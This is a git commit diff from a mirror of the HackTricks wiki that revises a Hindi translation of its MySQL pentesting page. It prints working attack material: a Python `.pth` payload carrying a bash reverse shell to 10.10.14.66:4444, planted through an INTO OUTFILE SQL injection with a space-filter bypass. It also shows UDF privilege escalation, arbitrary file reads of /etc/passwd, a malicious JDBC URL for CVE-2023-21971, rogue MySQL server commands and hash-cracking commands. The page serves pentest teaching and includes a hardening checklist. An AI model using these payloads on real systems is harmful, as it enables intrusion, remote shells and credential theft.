mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/network-services-pentesting/pentesting-mysql.md'] to hi
This commit is contained in:
parent
d7546f4509
commit
2229ffcd15
@ -34,7 +34,7 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
||||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
### [**ब्रूट फोर्स**](../generic-hacking/brute-force.md#mysql)
|
||||
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
|
||||
|
||||
### कोई भी बाइनरी डेटा लिखें
|
||||
```bash
|
||||
@ -111,26 +111,26 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
||||
|
||||
#### INTO OUTFILE → Python `.pth` RCE (साइट-विशिष्ट कॉन्फ़िगरेशन हुक)
|
||||
|
||||
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करके यह संभव है कि लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
|
||||
क्लासिक `INTO OUTFILE` प्राइमिटिव का दुरुपयोग करते हुए, यह संभव है कि उन लक्ष्यों पर *मनमाना कोड निष्पादन* प्राप्त किया जा सके जो बाद में **Python** स्क्रिप्ट चलाते हैं।
|
||||
|
||||
1. `INTO OUTFILE` का उपयोग करके किसी भी निर्देशिका के अंदर एक कस्टम **`.pth`** फ़ाइल ड्रॉप करें जो `site.py` द्वारा स्वचालित रूप से लोड होती है (जैसे `.../lib/python3.10/site-packages/`)।
|
||||
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है उसके बाद मनमाना Python कोड होता है जो हर बार इंटरप्रेटर शुरू होने पर निष्पादित होगा।
|
||||
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित होता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
|
||||
2. `.pth` फ़ाइल में एक *एकल पंक्ति* हो सकती है जो `import ` से शुरू होती है, इसके बाद मनमाना Python कोड होता है जिसे हर बार इंटरप्रेटर शुरू होने पर निष्पादित किया जाएगा।
|
||||
3. जब इंटरप्रेटर को एक CGI स्क्रिप्ट द्वारा निहित रूप से निष्पादित किया जाता है (उदाहरण के लिए `/cgi-bin/ml-draw.py` जिसमें शेबैंग `#!/bin/python` है) तो पेलोड को वेब-सेवा प्रक्रिया के समान विशेषाधिकारों के साथ निष्पादित किया जाता है (FortiWeb ने इसे **root** के रूप में चलाया → पूर्ण प्री-ऑथ RCE)।
|
||||
|
||||
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
|
||||
उदाहरण `.pth` पेलोड (एकल पंक्ति, अंतिम SQL पेलोड में कोई स्पेस शामिल नहीं किया जा सकता है, इसलिए hex/`UNHEX()` या स्ट्रिंग संयोजन की आवश्यकता हो सकती है):
|
||||
```python
|
||||
import os,sys,subprocess,base64;subprocess.call("bash -c 'bash -i >& /dev/tcp/10.10.14.66/4444 0>&1'",shell=True)
|
||||
```
|
||||
एक **UNION** क्वेरी के माध्यम से फ़ाइल तैयार करने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
|
||||
एक **UNION** क्वेरी के माध्यम से फ़ाइल बनाने का उदाहरण (स्पेस कैरेक्टर्स को `/**/` से बदलकर `sscanf("%128s")` स्पेस फ़िल्टर को बायपास करना और कुल लंबाई ≤128 बाइट्स रखना):
|
||||
```sql
|
||||
'/**/UNION/**/SELECT/**/token/**/FROM/**/fabric_user.user_table/**/INTO/**/OUTFILE/**/'../../lib/python3.10/site-packages/x.pth'
|
||||
```
|
||||
महत्वपूर्ण सीमाएँ और बायपास:
|
||||
|
||||
* `INTO OUTFILE` **मौजूदा** फ़ाइलों को **ओवरराइट** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
|
||||
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रीफिक्स करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
|
||||
* यदि हमलावर का इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
|
||||
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **रूट** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
|
||||
* `INTO OUTFILE` **मौजूदा फ़ाइलों को अधिलेखित** नहीं कर सकता; एक नया फ़ाइल नाम चुनें।
|
||||
* फ़ाइल पथ **MySQL के CWD के सापेक्ष** हल किया जाता है, इसलिए `../../` के साथ प्रारंभ करना पथ को छोटा करने और पूर्ण-पथ प्रतिबंधों को बायपास करने में मदद करता है।
|
||||
* यदि हमलावर इनपुट `%128s` (या समान) के साथ निकाला जाता है तो कोई भी स्पेस पेलोड को ट्रंकट कर देगा; स्पेस को बदलने के लिए MySQL टिप्पणी अनुक्रम `/**/` या `/*!*/` का उपयोग करें।
|
||||
* क्वेरी चलाने वाले MySQL उपयोगकर्ता को `FILE` विशेषाधिकार की आवश्यकता होती है, लेकिन कई उपकरणों (जैसे FortiWeb) में सेवा **root** के रूप में चलती है, जिससे लगभग हर जगह लिखने की अनुमति मिलती है।
|
||||
|
||||
`.pth` को ड्रॉप करने के बाद, कोड निष्पादन प्राप्त करने के लिए बस किसी भी CGI को अनुरोध करें जो पायथन इंटरप्रेटर द्वारा संभाला जाता है:
|
||||
```
|
||||
@ -146,14 +146,14 @@ uid=0(root) gid=0(root) groups=0(root)
|
||||
```
|
||||
---
|
||||
|
||||
## MySQL मनमाने पढ़ने की फ़ाइल द्वारा क्लाइंट
|
||||
## MySQL द्वारा क्लाइंट द्वारा मनमाना फ़ाइल पढ़ना
|
||||
|
||||
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
|
||||
वास्तव में, जब आप **load data local into a table** करने की कोशिश करते हैं, तो **एक फ़ाइल का सामग्री** MySQL या MariaDB सर्वर **क्लाइंट से इसे पढ़ने** और सामग्री भेजने के लिए कहता है। **फिर, यदि आप एक mysql क्लाइंट को अपने स्वयं के MySQL सर्वर से कनेक्ट करने के लिए बदल सकते हैं, तो आप मनमाने फ़ाइलें पढ़ सकते हैं।**\
|
||||
कृपया ध्यान दें कि यह व्यवहार का उपयोग करते समय है:
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
(ध्यान दें "local" शब्द)\
|
||||
(शब्द "local" पर ध्यान दें)\
|
||||
क्योंकि "local" के बिना आप प्राप्त कर सकते हैं:
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
@ -172,7 +172,7 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
||||
|
||||
### Mysql User
|
||||
|
||||
यह बहुत दिलचस्प होगा अगर mysql **root** के रूप में चल रहा है:
|
||||
यह बहुत दिलचस्प होगा यदि mysql **root** के रूप में चल रहा है:
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
@ -184,7 +184,7 @@ MySQL सेवाओं की कॉन्फ़िगरेशन में,
|
||||
- **`user`** सेटिंग का उपयोग उस उपयोगकर्ता को निर्दिष्ट करने के लिए किया जाता है जिसके तहत MySQL सेवा निष्पादित होगी।
|
||||
- **`password`** MySQL उपयोगकर्ता से संबंधित पासवर्ड स्थापित करने के लिए लागू किया जाता है।
|
||||
- **`admin_address`** उस IP पते को निर्दिष्ट करता है जो प्रशासनिक नेटवर्क इंटरफ़ेस पर TCP/IP कनेक्शनों के लिए सुनता है।
|
||||
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन को दर्शाता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
|
||||
- **`debug`** चर वर्तमान डिबगिंग कॉन्फ़िगरेशन का संकेत देता है, जिसमें लॉग में संवेदनशील जानकारी शामिल होती है।
|
||||
- **`sql_warnings`** प्रबंधित करता है कि क्या चेतावनी उत्पन्न होने पर एकल-पंक्ति INSERT बयानों के लिए सूचना स्ट्रिंग उत्पन्न की जाती है, जिसमें लॉग में संवेदनशील डेटा होता है।
|
||||
- **`secure_file_priv`** डेटा आयात और निर्यात संचालन के दायरे को सीमित करता है ताकि सुरक्षा बढ़ाई जा सके।
|
||||
|
||||
@ -206,18 +206,18 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
||||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
### विशेषाधिकार वृद्धि पुस्तकालय के माध्यम से
|
||||
### Privilege Escalation via library
|
||||
|
||||
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **पुस्तकालय** की आवश्यकता होगी जो mysql चला रहा है।
|
||||
यदि **mysql सर्वर root के रूप में चल रहा है** (या किसी अन्य अधिक विशेषाधिकार प्राप्त उपयोगकर्ता के रूप में) तो आप इसे कमांड निष्पादित करने के लिए बना सकते हैं। इसके लिए, आपको **उपयोगकर्ता परिभाषित कार्यों** का उपयोग करने की आवश्यकता है। और एक उपयोगकर्ता परिभाषित बनाने के लिए, आपको उस OS के लिए एक **लाइब्रेरी** की आवश्यकता होगी जो mysql चला रहा है।
|
||||
|
||||
उपयोग करने के लिए दुर्भावनापूर्ण पुस्तकालय sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाया जा सकता है। **`.so`** फ़ाइलें **linux** पुस्तकालय हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
|
||||
उपयोग करने के लिए दुर्भावनापूर्ण लाइब्रेरी sqlmap के अंदर और metasploit के अंदर **`locate "*lib_mysqludf_sys*"`** करके पाई जा सकती है। **`.so`** फ़ाइलें **linux** लाइब्रेरी हैं और **`.dll`** **Windows** की हैं, वह चुनें जो आपको चाहिए।
|
||||
|
||||
यदि आपके पास वे पुस्तकालय **नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
|
||||
यदि आपके पास **वे लाइब्रेरी नहीं हैं**, तो आप या तो **उनकी तलाश कर सकते हैं**, या इस [**linux C कोड**](https://www.exploit-db.com/exploits/1518) को डाउनलोड कर सकते हैं और **linux कमजोर मशीन के अंदर इसे संकलित कर सकते हैं**:
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (रूट?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
|
||||
अब जब आपके पास पुस्तकालय है, तो Mysql में एक विशेषाधिकार प्राप्त उपयोगकर्ता (root?) के रूप में लॉगिन करें और अगले चरणों का पालन करें:
|
||||
|
||||
#### Linux
|
||||
```sql
|
||||
@ -259,9 +259,9 @@ cat /etc/mysql/debian.cnf
|
||||
```
|
||||
आप **इन क्रेडेंशियल्स का उपयोग mysql डेटाबेस में लॉगिन करने के लिए कर सकते हैं**।
|
||||
|
||||
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैश** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
|
||||
फाइल _/var/lib/mysql/mysql/user.MYD_ के अंदर आप **MySQL उपयोगकर्ताओं के सभी हैशेस** (जो आप डेटाबेस के अंदर mysql.user से निकाल सकते हैं) पा सकते हैं।
|
||||
|
||||
आप इन्हें निकालने के लिए कर सकते हैं:
|
||||
आप इन्हें निकाल सकते हैं:
|
||||
```bash
|
||||
grep -oaE "[-_\.\*a-Z0-9]{3,}" /var/lib/mysql/mysql/user.MYD | grep -v "mysql_native_password"
|
||||
```
|
||||
@ -646,7 +646,58 @@ Note: sourced from https://github.com/carlospolop/legion
|
||||
Command: msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_version; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_authbypass_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/admin/mysql/mysql_enum; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_hashdump; set RHOSTS {IP}; set RPORT 3306; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mysql/mysql_schemadump; set RHOSTS {IP}; set RPORT 3306; run; exit'
|
||||
|
||||
```
|
||||
## 2023-2025 Highlights (नया)
|
||||
|
||||
### JDBC `propertiesTransform` deserialization (CVE-2023-21971)
|
||||
Connector/J <= 8.0.32 से एक हमलावर जो **JDBC URL** को प्रभावित कर सकता है (उदाहरण के लिए, तीसरे पक्ष के सॉफ़्टवेयर में जो कनेक्शन स्ट्रिंग के लिए पूछता है) वह `propertiesTransform` पैरामीटर के माध्यम से *क्लाइंट* पक्ष पर मनचाहे क्लास को लोड करने के लिए अनुरोध कर सकता है। यदि क्लास-पाथ पर मौजूद एक गैजेट लोड करने योग्य है, तो इसका परिणाम **JDBC क्लाइंट के संदर्भ में दूरस्थ कोड निष्पादन** में होता है (पूर्व-प्रमाणित, क्योंकि कोई मान्य क्रेडेंशियल की आवश्यकता नहीं होती)। एक न्यूनतम PoC इस तरह दिखता है:
|
||||
```java
|
||||
jdbc:mysql://<attacker-ip>:3306/test?user=root&password=root&propertiesTransform=com.evil.Evil
|
||||
```
|
||||
`Evil.class` चलाना कमजोर एप्लिकेशन के क्लास-पाथ पर इसे उत्पन्न करने या एक धोखेबाज़ MySQL सर्वर को एक दुर्भावनापूर्ण सीरियलाइज्ड ऑब्जेक्ट भेजने देना उतना ही आसान हो सकता है। यह समस्या Connector/J 8.0.33 में ठीक की गई थी - ड्राइवर को अपडेट करें या `propertiesTransform` को स्पष्ट रूप से अनुमति सूची पर सेट करें।
|
||||
(विवरण के लिए Snyk लेख देखें)
|
||||
|
||||
### JDBC क्लाइंट्स के खिलाफ धोखेबाज़ / नकली MySQL सर्वर हमले
|
||||
कई ओपन-सोर्स टूल्स *आंशिक* MySQL प्रोटोकॉल को लागू करते हैं ताकि वे बाहर कनेक्ट करने वाले JDBC क्लाइंट्स पर हमला कर सकें:
|
||||
|
||||
* **mysql-fake-server** (Java, फ़ाइल पढ़ने और डीसिरियलाइजेशन हमलों का समर्थन करता है)
|
||||
* **rogue_mysql_server** (Python, समान क्षमताएँ)
|
||||
|
||||
विशिष्ट हमले के रास्ते:
|
||||
|
||||
1. पीड़ित एप्लिकेशन `allowLoadLocalInfile=true` या `autoDeserialize=true` के साथ `mysql-connector-j` लोड करता है।
|
||||
2. हमलावर DNS / होस्ट प्रविष्टि को नियंत्रित करता है ताकि DB का होस्टनेम उनके नियंत्रण में मशीन पर हल हो सके।
|
||||
3. दुर्भावनापूर्ण सर्वर तैयार किए गए पैकेट के साथ प्रतिक्रिया करता है जो या तो `LOCAL INFILE` मनमाने फ़ाइल पढ़ने या Java डीसिरियलाइजेशन → RCE को ट्रिगर करता है।
|
||||
|
||||
नकली सर्वर शुरू करने के लिए एक उदाहरण वन-लाइनर (Java):
|
||||
```bash
|
||||
java -jar fake-mysql-cli.jar -p 3306 # from 4ra1n/mysql-fake-server
|
||||
```
|
||||
फिर पीड़ित एप्लिकेशन को `jdbc:mysql://attacker:3306/test?allowLoadLocalInfile=true` पर इंगित करें और फ़ाइल नाम को *username* फ़ील्ड में base64 के रूप में एन्कोड करके `/etc/passwd` पढ़ें (`fileread_/etc/passwd` → `base64ZmlsZXJlYWRfL2V0Yy9wYXNzd2Q=`)।
|
||||
|
||||
### `caching_sha2_password` हैश को क्रैक करना
|
||||
MySQL ≥ 8.0 पासवर्ड हैश को **`$mysql-sha2$`** (SHA-256) के रूप में स्टोर करता है। Hashcat (मोड **21100**) और John-the-Ripper (`--format=mysql-sha2`) 2023 से ऑफ़लाइन क्रैकिंग का समर्थन करते हैं। `authentication_string` कॉलम को डंप करें और इसे सीधे फीड करें:
|
||||
```bash
|
||||
# extract hashes
|
||||
echo "$mysql-sha2$AABBCC…" > hashes.txt
|
||||
# Hashcat
|
||||
hashcat -a 0 -m 21100 hashes.txt /path/to/wordlist
|
||||
# John the Ripper
|
||||
john --format=mysql-sha2 hashes.txt --wordlist=/path/to/wordlist
|
||||
```
|
||||
### हार्डनिंग चेकलिस्ट (2025)
|
||||
• **`LOCAL_INFILE=0`** और **`--secure-file-priv=/var/empty`** सेट करें ताकि अधिकांश फ़ाइल-पढ़ने/लिखने की प्राइमिटिव्स को समाप्त किया जा सके।
|
||||
• एप्लिकेशन खातों से **`FILE`** विशेषाधिकार हटा दें।
|
||||
• Connector/J पर `allowLoadLocalInfile=false`, `allowUrlInLocalInfile=false`, `autoDeserialize=false`, `propertiesTransform=` (खाली) सेट करें।
|
||||
• अप्रयुक्त प्रमाणीकरण प्लगइन्स को अक्षम करें और **TLS की आवश्यकता करें** (`require_secure_transport = ON`)।
|
||||
• `CREATE FUNCTION`, `INSTALL COMPONENT`, `INTO OUTFILE`, `LOAD DATA LOCAL` और अचानक `SET GLOBAL` बयानों की निगरानी करें।
|
||||
|
||||
---
|
||||
|
||||
## संदर्भ
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
- [Oracle MySQL Connector/J propertiesTransform RCE – CVE-2023-21971 (Snyk)](https://security.snyk.io/vuln/SNYK-JAVA-COMMYSQL-5441540)
|
||||
- [mysql-fake-server – Rogue MySQL server for JDBC client attacks](https://github.com/4ra1n/mysql-fake-server)
|
||||
|
||||
- [Pre-auth SQLi to RCE in Fortinet FortiWeb (watchTowr Labs)](https://labs.watchtowr.com/pre-auth-sql-injection-to-rce-fortinet-fortiweb-fabric-connector-cve-2025-25257/)
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user